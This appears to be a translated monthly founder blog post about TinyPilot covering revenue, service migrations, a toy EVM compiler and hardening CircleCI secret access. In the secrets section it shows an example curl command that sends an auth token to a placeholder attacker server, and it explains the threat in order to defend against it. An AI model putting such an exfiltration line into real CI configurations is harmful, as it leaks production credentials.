TinyPilot:第 45 個月
一句話總結
對部署流程進行批判性思考。
亮點
- 我與 TinyPilot 團隊合作,在不影響工作流程的前提下,加強了對部署機密的存取管控。
- 我從失誤中學習,在不同平台間遷移服務時降低停機時間。
- 我寫出了人生第一個編譯器,雖然極為簡單。
目標評分
每個月月初,我都會宣告當月的目標。以下是這個月的達成情況:
補齊 TinyPilot 發布文件的缺口
- 成果:已補上上次發布時發現的缺口。
- 評分:A
三月的 TinyPilot Pro 發布,是我第一次完全沒有親自執行任何發布作業。發布過程大致順利,但在某些環節,團隊對於下一步該做什麼並不清楚。
我與開發及支援工程團隊舉行了事後檢討會,收集對這次發布的回饋。這些會議產生了許多有用的流程建議,我們也據此修訂了內部文件與操作手冊,以解決遇到的問題。
完成 2023 年報稅
- 成果:已準時提交所有報稅文件。
- 評分:A
今年的報稅比較複雜,因為這是我結婚後第一次以夫妻聯合申報,又還在等待幾份稅務表格,不過現在已經全部提交完成。
TinyPilot 數據
| 指標 | 2024 年 2 月 | 2024 年 3 月 | 變化 |
|---|---|---|---|
| 不重複訪客 | 13,000 | 9,100 | -3,900 (-30%) |
| 銷售營收 | $82,517.42 | $107,809.83 | +$25,292.41 (+31%) |
| 企業訂閱 | $290.70 | $290.70 | 0 |
| 權利金 | $3,373.65 | $2,442.12 | -$931.53 (-28%) |
| 總營收 | $86,181.77 | $110,542.65 | +$24,360.88 (+28%) |
| 利潤 | $23,599.09 | $3,193.73 | -$20,405.36 (-86%) |
三月是 TinyPilot 有史以來銷售營收最高的月份,以 600 美元的差距些微超越先前的紀錄。以單月來看利潤下滑,但更有意義的指標是三個月平均,而該數據表現依然強勁。
訪客數較上個月下滑,但只是因為二月時我的第六年回顧文章帶來了異常的流量高峰。
加強 TinyPilot 生產環境機密的存取管控
過去幾個月來,我們一直在改善 TinyPilot 的發布流程,使其更加自動化,也更不依賴我個人。
在檢視發布流程時,我們發現有太多團隊成員擁有生產環境機密的存取權限。生產環境機密包括用於發布網站或 TinyPilot 應用程式新版本的驗證權杖等。
我們是個小團隊,所以在此所謂的「太多人」指的是五個人而非一人。即便如此,仍有四個人擁有其實不需要的生產環境機密存取權限。
TinyPilot 的多數儲存庫都採用「push on green(綠燈即發佈)」,也就是說,每項程式碼變更只要在 CircleCI(我們的持續整合服務)上通過自動化測試,就會直接推上正式環境。
我們將機密儲存在 CircleCI 的環境變數中。起初這看起來沒問題,因為環境變數是只能寫入的,代表儲存後就無法再讀取其值。

CircleCI 的管理介面只會顯示環境變數值的部分內容,而且只有 CircleCI 管理員才能看到。請注意,我顯示的是假資料。
一旦我們更審慎地思考機密保護,就意識到儘管 CircleCI 的網頁介面看起來如此,實際上五位團隊成員都能存取我們的環境變數。惡意的團隊成員可以用以下兩種方式竊取機密:
- 他們可以在程式碼儲存庫中建立新分支,然後對 CircleCI 設定檔推送變更,將機密外洩到他們控制的遠端伺服器,例如
curl http://attacker-server.example.com/exfiltrate?token=$AUTH_TOKEN - 他們可以透過 SSH 連線到 CircleCI 的任何工作,並在命令列輸入
echo $AUTH_TOKEN。
(1)算是半可被偵測,但我們從未檢查過。(2)則完全無法偵測,因為 CircleCI 不會記錄 SSH 連線。
這類攻擊必須來自 TinyPilot 團隊內部,因為第三方貢獻者根本無法存取 CircleCI 的環境變數。
我們研究了加強存取管控的方法,CircleCI 的文件建議將涉及安全的機密儲存在「contexts(情境)」中。Contexts 仍是環境變數,但多了額外的存取控制。
安全情境原本只允許你將存取限制在特定的人員群組。因此,我們本可以讓所有人都能存取機密來維持現有流程,但那就又回到原點。我們也可以武斷地決定只有部分受信任的成員才能發起每次部署,但那會造成極大的阻礙。
我們聯繫了 CircleCI 支援團隊,他們表示恰好即將推出能解決我們問題的功能。兩週後,CircleCI 推出了expression-based context restrictions(基於條件式的情境限制),事實上也完美解決了我們的問題。
CircleCI 的 expression-based restrictions 讓我們能對 contexts 加上比單純的使用者允許清單更多的限制。我們可以將機密限制在特定分支,並在啟用 SSH 時停用存取。最後我們使用了如下的條件式:
pipeline.git.branch == "master" and not job.ssh.enabled這個條件式緩解了上述攻擊(1),因為試圖透過分支外洩機密的惡意成員,在其分支中將無法存取該機密。
該條件式透過在使用者以 SSH 存取啟動 CircleCI 工作時,讓機密無法使用,來緩解攻擊(2)。
我們的 master 分支要求任何變更都至少需要一人核准,因此這個系統對於兩名成員共謀的惡意攻擊仍有弱點。一名心懷不軌的成員可以引入外洩機密的程式碼變更,再由共謀者核准。但這會是特別顯眼的攻擊,因為變更會出現在我們經常處理的檔案中,而且會有清楚的稽核軌跡記錄是誰加入的。
整體而言,我對 CircleCI 的 expression-based context restrictions 感到滿意。如果你的團隊中 CI 能存取生產環境機密,我會建議思考是否有太多成員擁有其實不需要的機密存取權。
改善我在不同主機間遷移服務的流程
剛創立 TinyPilot 時,我傾向將服務託管在 Google Cloud Platform 和 Amazon Web Services 等大型供應商上。過去四年來,我逐漸偏好 Netlify 和 Fly.io 等較小的廠商。
TinyPilot 的多數服務已運行於較小的託管平台,但仍有幾個是我一開始建立後就從未搬遷的服務,因此我決定進行整併。
其中一次遷移有些顛簸,我便利用學到的經驗讓下一次更順利。
從 Firebase 遷移到 Netlify(顛簸的過程)
TinyPilot 網站只是一個靜態網站,所以可以託管在任何地方。它原本託管在 Firebase 上,因為那是我 2020 年時所有服務都使用的平台,而且一直運作正常。但在圍繞 security contexts 重新設計部署流程時,我意識到這正是將它從 Firebase 搬到我目前偏好的靜態網站託管平台 Netlify 的好時機。
這看起來像是個簡單的遷移。沒有資料庫或任何需要同步的東西。我只需要開始在 Netlify 上發布網站,並更新 DNS 紀錄指向新的主機。
至少我是這麼想的。
我在 Netlify 上發布、更新了 tinypilotkvm.com 的 DNS 紀錄,試著瀏覽網站,結果卻是:TLS 錯誤。

更新 DNS 紀錄後,造訪 TinyPilot 網站時立即出現 TLS 錯誤。
這很糟糕。沒有人會想在瀏覽器剛警告該網站會竊取信用卡資訊後,還繼續在上面購物。
更糟的是,我在週四美東時間上午 9 點半做了這項變更,正好是我們迎來最多付費客戶的時段。
是 Netlify 還沒產生 TLS 憑證嗎?我檢查了 TLS 錯誤,結果發現瀏覽器抱怨的是來自 Firebase 的 TLS 憑證。咦?Firebase 不應該還在用舊憑證提供舊版網站嗎?
我原本對訪客的想像是,他們會根據 DNS 伺服器資訊的新舊程度,分為兩種情況:
- 他們查詢到仍有舊 Firebase IP 位址的 DNS 伺服器 -> 他們會看到舊版 Firebase 網站,一切如我更新 DNS 前正常運作。
- 他們查詢到已有新 Netlify IP 位址的 DNS 伺服器 -> 他們會看到新版 Netlify 網站正常運作。
即使到現在,我仍不明白為何會看到 Firebase 憑證錯誤。我唯一能想到的解釋是,Firebase 會對 DNS 變更做出反應,並在相關 DNS 紀錄變更時立即使憑證失效。但 Firebase 管理後台仍顯示我的憑證是有效的。
作為權宜之計,我設定 Firebase 將訪客重新導向到 netlify-preview.tinypilotkvm.com,也就是我前一天為新網站設定的預備網域。這招奏效了,客戶不再看到 TLS 錯誤。我真希望當初選的不是 netlify-preview 這麼奇怪的預備網域名稱,因為它強烈暗示客戶有些不對勁,但總比 TLS 錯誤好。
在那之後的一整天,舊的 Firebase 網站仍持續收到流量,但在幾天內慢慢降至零。一週後,我關閉了 Firebase 網站。
從 AWS 遷移到 Fly.io(順利的過程)
TinyPilot 使用LogPaste 伺服器來收集使用者的診斷日誌。這是一個基本的 Go 應用程式,而我偏好的 Go 服務平台是 Fly.io。但 TinyPilot 的 LogPaste 伺服器當時運行在 AWS LightSail 上,所以我決定將它從 LightSail 遷移到 Fly.io。
遷移 LogPaste 比遷移 TinyPilot 網站稍微困難一些,因為 LogPaste 還有一個 SQLite 資料庫。但風險也較低,因為即使 LogPaste 伺服器停擺幾天也不會造成災難。
遷移前一天,我將 logs.tinypilotkvm.com DNS 紀錄的 TTL 調降至一分鐘。DNS 伺服器不一定會遵守 TTL,但我想對於那些會遵守的伺服器,限制快取還是有幫助的。
我也在 Fly.io 上以網域名稱 logs2.tinypilotkvm.com 部署了 LogPaste 的預備版本。這樣一來,如果我必須像處理 TinyPilot 網站那樣使用重新導向的技巧,就會有一個不會太奇怪的網址可以導向使用者。
我也準備了一個可用來將資料從舊的 LightSail 版本搬到新的 Fly.io 版本的遷移腳本。那是一個簡單的 bash 腳本,會從 Amazon S3 儲存貯體下載正式資料庫,並上傳到支援新 Fly.io 伺服器的儲存貯體中。
部署當天,我一早 7 點起床就執行了遷移。這樣一來,如果發生暫時性中斷,受影響的人會稍少一些。
幸好,遷移過程非常順利。我的鏈路中所有 DNS 伺服器似乎都遵守了 1 分鐘的 TTL,因為我的 Fly.io 伺服器日誌顯示,LogPaste 幾乎立即就開始處理對 logs.tinypilotkvm.com 的請求。
我讓 LightSail 版本再運行一週,確認不再有流量後才將其刪除。
在不同主機間遷移服務的通用策略
注意:這可能不是遷移服務的最佳策略。我懷疑有更好的做法可以最大程度減少憑證錯誤,但這已經比我之前的做法好多了。
下次需要在不同主機間搬移服務時,我會遵循這個月學到的流程。
作為一般範例,假設你要將託管在 example.com 這個網址的服務,從平台 A 搬到平台 B。
準備日
在計畫遷移的一、兩天前,執行以下步驟:
- 在平台 B 上部署你的服務。
- 為你在平台 B 上的服務建立子網域的憑證。
- 這通常在託管平台的「新增自訂網域」設定中。
- 選擇一個即使被客戶看到也不會讓他們感到奇怪的子網域,例如
www2.example.com或web.example.com。 - 不要選擇對終端使用者來說看起來很可怕的子網域,例如
insecure-staging.example.com。
- 新增指向平台 B 的新子網域 DNS 紀錄。
- 確認你可以透過新子網域瀏覽平台 B,且瀏覽器沒有 TLS 錯誤。
- 將正式環境
example.comDNS 紀錄的 TTL 降低至 1 至 5 分鐘等較低的值。 - 在平台 B 上為正式的
example.com網域產生憑證。
遷移日
在遷移當天,執行以下步驟。
- 選擇流量較低的時段。
- 如果你可能需要隊友支援,請確保他們有空且知悉此次遷移。
- 更新
example.com的 DNS 紀錄,使其指向平台 B 而非平台 A。 - 檢查你是否仍可透過主要的
example.com網址存取服務。
如果在 DNS 變更後瀏覽服務時,看到平台 A 的 TLS 錯誤:
- 作為暫時性的權宜之計,將平台 A 設定為把流量重新導向到你在準備日建立的預備子網域。
- 使用
dig從你本地電腦的角度檢查 DNS 紀錄何時過期,並觀察 DNS 紀錄過期後 TLS 錯誤是否消失。
除役舊伺服器
遷移後至少等待 24 小時,再執行以下步驟:
- 確認流向平台 A 的流量已停止。
- 將平台 A 上的伺服器除役。
- 確認在沒有平台 A 的情況下仍可存取你的服務。
- 將正式環境 DNS 紀錄的 TTL 恢復為合理的數值,例如 60 分鐘。
- 從 DNS 紀錄中移除預備子網域。
副業專案
撰寫一個簡單的編譯器
為了更深入學習 Zig、直譯器和 Ethereum,過去幾個月我一直在開發一個以 Zig 實作的 Ethereum 虛擬機器,名為eth-zvm。
我已為 eth-zvm 撰寫了效能基準測試,但它們執行的程式只是一些 Ethereum 位元組碼片段,例如這樣:
60016000526001601ff3這種位元組碼很難編輯。每當我想修改測試時,都必須先將位元組碼反編譯成人類可讀的形式,修改後再重新編譯回原始位元組。
Ethereum 有一種人類可讀的位元組碼表示方式,稱為助憶碼格式,因此上述位元組碼對應的助憶碼如下所示:
PUSH1 0x01
PUSH1 0x00
MSTORE
PUSH1 0x01
PUSH1 0x1f
RETURN它仍然很低階,但比原始位元組容易理解。
我想以助憶碼格式而非位元組碼來儲存測試。我找過助憶碼轉位元組碼的編譯器,但找不到任何可在命令列直接使用的工具。
這看起來是個夠簡單的任務,所以我決定自己寫一個助憶碼轉位元組碼編譯器。
就編譯器而言,我的編譯器算是簡單到不能再簡單了。每個可能的輸入語彙與輸出的每個位元組幾乎是一對一的對應。
以下是一個非常簡單的程式:
$ echo 'RETURN' | ./mnc /dev/stdin /dev/stdout
f3RETURN 的運算碼值是 0xf3,所以輸出的位元組碼就只是 f3。
當運算碼帶有參數時,就會稍微複雜一點,例如 PUSH1 會將一個位元組推入堆疊:
$ echo 'PUSH1 0x42' | ./mnc /dev/stdin /dev/stdout
6042我也可以使用 PUSH32,它會將 32 位元組的值推入堆疊:
$ echo 'PUSH32 0x42' | ./mnc /dev/stdin /dev/stdout
7f0000000000000000000000000000000000000000000000000000000000000042我實作了對行內註解的支援,因此以下是加上註解的上述範例應用程式:
$ tempfile="$(mktemp)" && \
cat << EOF > "${tempfile}"
// Store 0x01 in memory as a 32-byte word.
PUSH1 0x01
PUSH1 0x00
MSTORE
// Return 1 byte from offset 31 in memory.
PUSH1 0x01
PUSH1 0x1f
RETURN
EOF
$ ./mnc "${tempfile}" /dev/stdout
60016000526001601ff3我現在以人類可讀的助憶碼格式儲存 eth-zvm 的基準測試範例,並依需要將它們編譯為位元組碼來執行基準測試。
即使是簡單的編譯器,寫起來也很有趣。我的編譯器目前仍會接受像 PUSH1 RETURN 這樣語意不正確的程式碼,但對我的需求來說已經足夠。這個專案持續成為讓我更深入自學程式語言運作方式的有趣途徑。
總結
完成了什麼?
- 加強了 TinyPilot 生產環境機密的存取管控。
- 發表了〈為什麼一個多餘的建置步驟會讓我的 Zig 應用程式快 10 倍?〉
- 發表了〈打造我的第一座 Homelab 機櫃〉
- 將 TinyPilot 的託管整併至 Fly.io 與 Netlify。
- 將我們的 RMA 流程委外給第三方廠商。
經驗教訓
- 將機密儲存在 CI 環境變數中是好做法,但團隊成員越多,就越應該限制存取。
- 在不同平台間遷移服務時,請採用嚴謹的方法。
- 選擇不會影響業務、但又有時間從錯誤中復原的時段。
- 至少在遷移前一天就調降 DNS TTL。
- 在遷移前預先準備好新的 TLS 憑證。
- 選擇一個即使出問題、讓終端使用者看到也不至於太尷尬的預備子網域名稱。
下個月的目標
- 與三家新的潛在 TinyPilot 經銷商或銷售通路展開洽談。
- 督導兩項新的 TinyPilot 軟體功能的開發。
- 與製造商協調 2024 年剩餘時間的生產計畫。
隨機一篇部落格